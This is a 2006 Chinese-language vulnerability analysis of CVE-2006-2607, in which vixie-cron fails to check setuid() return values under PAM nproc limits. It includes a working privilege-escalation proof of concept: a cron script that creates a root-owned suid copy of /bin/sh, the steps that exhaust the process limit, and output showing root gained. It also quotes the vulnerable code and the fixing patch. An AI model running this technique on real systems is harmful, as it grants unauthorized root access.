Setuid() - nproc limit 类型漏洞之深入分析
(PST)---------[ Subject : Setuid() - nproc limit 类型漏洞之深入分析 ]
---------[ Author : axis(axis@ph4nt0m.org) ]
---------[ Copyright : www.ph4nt0m.org www.secwiki.com ]
---------[ Date : 07/20/2006 ]
---------[ Version : 1.0 ]
|=-----------------------------------------------------------------------------=|
---------[ Table of Contents ]
0x110 - 前言
0x120 - cron提升权限漏洞
0x130 - 深入分析
0x140 - Conclusion
0x150 - Reference
|=-----------------------------------------------------------------------------=|
---------[ 0x110 - 前言 ]
前段时间出现了一种新的类型的漏洞,就是未正确检查setuid()函数的返回值.
setuid()如果执行成功,将返回0,如果执行失败,将返回-1.如果程序以root的身份运行,假设该程序正常setuid(uid)后, 讲降低权限为普通用户,但是由于未检查setuid()的返回值,也就是说,出于一些原因,setuid失败了,那么程序可能还将继续以root身份运行.这就导致了一些非常危险的事情可能发生.
---------[ 0x110 - vixie cron提升权限漏洞 ]
前段时间出的vixie cron提升权限漏洞,就是属于该类型的漏洞
具体公告参见:
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2607
crond的守护进程是以root身份启动的,每个普通用户都可以建立自己的crontab
如果使用了pam_limits.so来限制用户启动的进程数,当用户的crontab里启动的进程数达到了限制数后,就会造成setuid失败,从而该子进程将继承root权限,继续以root身份运行.
具体我们来POC一下,测试平台是Redhat Enterprise Linux 4 Update 4
[axis@localhost temp]$ uname -a
Linux localhost.localdomain 2.6.9-22.ELsmp #1 SMP Mon Sep 19 18:32:14 EDT 2005 i686 i686 i386 GNU/Linux
[axis@localhost temp]$ cat /etc/issue
Red Hat Enterprise Linux AS release 4 (Nahant Update 2)
Kernel \r on an \m
[axis@localhost temp]$ rpm -qa |grep vixie
vixie-cron-4.1-36.EL4
[axis@localhost temp]$ rpm -qa |grep pam
pam_ccreds-1-3
pam_smb-1.1.7-5
pam-devel-0.77-66.11
pam-0.77-66.11
pam_passwdqc-0.7.5-2
pam_krb5-2.1.8-1
spamassassin-3.0.4-1.el4
[axis@localhost temp]$
首先修改/etc/security/limits.conf
添加如下行:
axis hard nproc 400
这句的意思是把axis用户启动的进程限制为400
然后修改/etc/pam.d/crond
添加如下行:
session required pam_limits.so
这句的意思是crond使用pam_limits.so,而这个pam的so则是读取/etc/security/limits.conf的配置
所以在这里,cron就会限制axis用户只能运行400个进程了.
然后建立axis需要运行的任务.
建立如下shell脚本
[axis@localhost temp]$ pwd
/home/axis/temp
[axis@localhost temp]$ cat x.sh
#!/bin/sh
cp /bin/sh /tmp/sh
chown root:root /tmp/sh
chmod 4755 /tmp/sh
sleep 1000000;
[axis@localhost temp]$
该脚本会在/tmp下建立一个suid shell
然后添加到axis的crontab里:
[axis@localhost temp]$ crontab -e
* * * * * /home/axis/temp/x.sh
~
~
~
~
保存退出后,就已经建立好了任务了
[axis@localhost temp]$ crontab -l
* * * * * /home/axis/temp/x.sh
[axis@localhost temp]$
这样每分钟,就会运行一次x.sh
仔细看x.sh,因为可以发现,如果没有root权限,那么建立出来的/tmp/sh属主只能是axis.
查看下当前用户的进程数
[axis@localhost temp]$ ps axun | grep '^ *500 ' | wc -l
4
[axis@localhost temp]$
只有4个,而前面在/etc/security/limits.conf里限制axis进程数为400
那么,使用一些消耗的进程
[axis@localhost temp]$ ./daemon -s 100000 -p 380
创建指定的进程数量,父进程退出。
[axis@localhost temp]$ ps axun | grep '^ *500 ' | wc -l
390
[axis@localhost temp]$
daemon这个小程序的作用是在后台启动进程,每个进程sleep 100000s,这里我们启动了380个进程,所以现在进程总数是390
马上就快到400了
[axis@localhost temp]$ ll /tmp
total 608
-rwsr-xr-x 1 axis axis 616312 Jul 21 18:26 sh
[axis@localhost temp]$
可以看到现在/tmp/sh还是axis为属主,说明x.sh还是以axis身份运行的.
过了几分钟后
[root@localhost ~]# ll /tmp
total 608
-rwsr-xr-x 1 root root 616312 Jul 21 18:40 sh
[root@localhost ~]# ps axun | grep '^ *500 ' | wc -l
400
[root@localhost ~]#
可以看到/tmp/sh变成属主为root了!
[root@localhost ~]# ps aufx
......
root 2460 0.0 0.0 3440 512 ? Ss Jul12 0:00 gpm -m /dev/input/mice -t exps2
root 2470 0.0 0.0 6400 1096 ? Ss Jul12 0:00 crond
root 6020 0.0 0.0 6984 1444 ? S 18:36 0:00 \_ crond
axis 6021 0.0 0.0 3536 848 ? Ss 18:36 0:00 | \_ /bin/sh /home/axis/temp/x.sh
axis 6026 0.0 0.0 3040 456 ? S 18:36 0:00 | | \_ sleep 1000000
axis 6024 0.0 0.1 7956 2556 ? S 18:36 0:00 | \_ /usr/sbin/sendmail -FCronDaemon -i -odi -oem -oi -t
root 6035 0.0 0.0 6984 1444 ? S 18:37 0:00 \_ crond
axis 6036 0.0 0.0 3252 844 ? Ss 18:37 0:00 | \_ /bin/sh /home/axis/temp/x.sh
axis 6041 0.0 0.0 2576 456 ? S 18:37 0:00 | | \_ sleep 1000000
axis 6039 0.0 0.1 7164 2564 ? S 18:37 0:00 | \_ /usr/sbin/sendmail -FCronDaemon -i -odi -oem -oi -t
root 6073 0.0 0.0 6984 1444 ? S 18:38 0:00 \_ crond
axis 6074 0.0 0.0 3096 848 ? Ss 18:38 0:00 | \_ /bin/sh /home/axis/temp/x.sh
axis 6079 0.0 0.0 2456 456 ? S 18:38 0:00 | | \_ sleep 1000000
axis 6077 0.0 0.1 6532 2564 ? S 18:38 0:00 | \_ /usr/sbin/sendmail -FCronDaemon -i -odi -oem -oi -t
root 6481 0.0 0.0 6984 1444 ? S 18:39 0:00 \_ crond
axis 6482 0.0 0.0 2568 844 ? Ss 18:39 0:00 | \_ /bin/sh /home/axis/temp/x.sh
axis 6487 0.0 0.0 2760 456 ? S 18:39 0:00 | | \_ sleep 1000000
root 6485 0.0 0.0 0 0 ? Z 18:39 0:00 | \_ [crond] <defunct>
root 6507 0.0 0.0 6980 1420 ? S 18:40 0:00 \_ crond
root 6508 0.0 0.0 3912 848 ? Ss 18:40 0:00 \_ /bin/sh /home/axis/temp/x.sh
root 6512 0.0 0.0 3080 456 ? S 18:40 0:00 \_ sleep 1000000
xfs 2496 0.0 0.0 4228 1416 ? Ss Jul12 0:00 xfs -droppriv -daemon
root 2515 0.0 0.0 2024 700 ? Ss Jul12 0:00 /usr/sbin/atd
dbus 2525 0.0 0.0 3160 1024 ? Ss Jul12 0:00 dbus-daemon-1 --system
root 2538 0.0 0.0 4168 1028 ? Ss Jul12 0:00 cups-config-daemon
......
注意这里!
root 6507 0.0 0.0 6980 1420 ? S 18:40 0:00 \_ crond
root 6508 0.0 0.0 3912 848 ? Ss 18:40 0:00 \_ /bin/sh /home/axis/temp/x.sh
root 6512 0.0 0.0 3080 456 ? S 18:40 0:00 \_ sleep 1000000
本来应该是以axis用户身份运行的x.sh,变成以root身份运行了!
---------[ 0x110 - 深入分析 ]
造成上面漏洞的原因是多方面的.首先,如果在/etc/security/limits.conf里限制了用户的进程数,那么 pam_limits.so将调用pam_open_session(),如果是root调用他,则会返回一个PAM_SUCCESS,同时以root执行下去.
但是当用户进程数达到限制的个数后,pam-0.79-9.6照样允许pam_open_session()成功执行下去,但是这个时候, crond的子进程却会setuid()失败, 而vixie-cron-4.1并没有检查setuid()的返回值,没有检查他是否已经setuid()成功,所以本来应该用setuid()来降权的,却照样以root身份在运行.而此时fork()却是被允许的,即便是已经达到了用户的最大进程数,所以,任务就以root身份继续运行下去了!!
我们可以看看代码,在do_command.c里:
......
void
do_command(entry *e, user *u) {
Debug(DPROC, ("[%ld] do_command(%s, (%s,%ld,%ld))\n",
(long)getpid(), e->cmd, u->name,
(long)e->pwd->pw_uid, (long)e->pwd->pw_gid))
/* fork to become asynchronous -- parent process is done immediately,
* and continues to run the normal cron code, which means return to
* tick(). the child and grandchild don't leave this function, alive.
*
* vfork() is unsuitable, since we have much to do, and the parent
* needs to be able to run off and fork other processes.
*/
switch (fork()) {
case -1:
log_it("CRON", getpid(), "error", "can't fork");
break;
case 0:
/* child process */
acquire_daemonlock(1);
child_process(e, u);
Debug(DPROC, ("[%ld] child process done, exiting\n",
(long)getpid()))
_exit(OK_EXIT);
break;
default:
/* parent process */
break;
}
......
/* set our directory, uid and gid. Set gid first, since once
* we set uid, we've lost root privledges.
*/
#ifdef LOGIN_CAP
{
#ifdef BSD_AUTH
auth_session_t *as;
#endif
......
#else
setgid(e->pwd->pw_gid);
initgroups(usernm, e->pwd->pw_gid);
#if (defined(BSD)) && (BSD >= 199103)
setlogin(usernm);
#endif /* BSD */
setuid(e->pwd->pw_uid); /* we aren't root after this... */
#endif /* LOGIN_CAP */
chdir(env_get("HOME", e->envp));
注意看这里
setgid(e->pwd->pw_gid);
......
setuid(e->pwd->pw_uid); /* we aren't root after this... */
这里仅仅是简单的执行setuid(),并没有做任何的检查返回值的措施.
再看看patch就更清楚了
[root@localhost SOURCES]# cat vixie-cron-4.1-privilege_escalation.patch
--- vixie-cron-4.1/do_command.c.orig 2006-05-29 16:45:32.000000000 +0200
+++ vixie-cron-4.1/do_command.c 2006-05-29 16:48:28.000000000 +0200
@@ -300,12 +300,24 @@
}
}
#else
- setgid(e->pwd->pw_gid);
+
initgroups(usernm, e->pwd->pw_gid);
#if (defined(BSD)) && (BSD >= 199103)
setlogin(usernm);
#endif /* BSD */
- setuid(e->pwd->pw_uid); /* we aren't root after this... */
+
+ if ( setgid(e->pwd->pw_gid) == -1 ) {
+ fprintf(stderr,"can't set gid for %s\n", e->pwd->pw_name);
+ _exit(1);
+ }
+
+ if ( setuid(e->pwd->pw_uid) == -1 ) {
+ fprintf(stderr,"can't set uid for %s\n", e->pwd->pw_name);
+ _exit(1);
+ }
+
+ /* we aren't root after this... */
+
#endif /* LOGIN_CAP */
chdir(env_get("HOME", e->envp));
[root@localhost SOURCES]#
在补丁里,对setuid()和setgid()的返回值都加上了限制.
这个漏洞主要是pam的特性造成的,即如果是root执行pam_open_session(),那么是可以继续fork()的,即使是user nproc limit达到了限制数,但是此时setuid()却fail了,所以造成了这个问题.其本质就是:fork()正常执行,而setuid()却失败了.
在Josh的blog上,他曾经提到在2.6内核中,默认给每个用户设置了nproc limit,所以对于2.6内核,是默认都可以成功提权的.
见:http://www.bress.net/blog/archives/34-setuid-madness.html
其实这是不正确的.
init_task.signal->rlim[RLIMIT_NPROC].rlim_cur = max_threads/2;
init_task.signal->rlim[RLIMIT_NPROC].rlim_max = max_threads/2;
这里确实是限制了用户的进程数,但是RLIMIT_NPROC在2.4内核中就有了,进程数与内存大小等都有关系
[root@localhost ~]# ulimit -u
32764
[root@localhost ~]#
每个用户默认是可以启动32764个进程的,虽然可以使用ulimit -u命令来修改他,但是与/etc/security/limits.conf里限制的user nproc limit还是有区别的.
经过测试,直接使用ulimit -u来修改进程数,是无法再fork()出来新的用户进程的,这是因为前面提到过这个漏洞还与pam是相关的,利用了pam的特性,会一直成功的fork()
---------[ 0x110 - Conclusion ]
综上所述,要成功利用该类型的漏洞,需要满足三个条件:
1) 程序以root身份运行,同时fork()出子进程,其子进程通过setuid()降权
2) setuid()失败,但是程序并未检查setuid()的返回值
3) setuid()失败后,还能够继续成功fork(),这样就是以root身份运行了,从而达到了提权的目的.
pam的nproc limit只是一个例子,只要满足了上面3个条件,应该说都存在此类缺陷,是否还有更多的漏洞来等待我们的挖掘呢?!
最后感谢 thiefox,gary
---------[ 0x110 - Reference ]
http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2607
https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=178431
http://www.bress.net/blog/archives/34-setuid-madness.html
-EOF-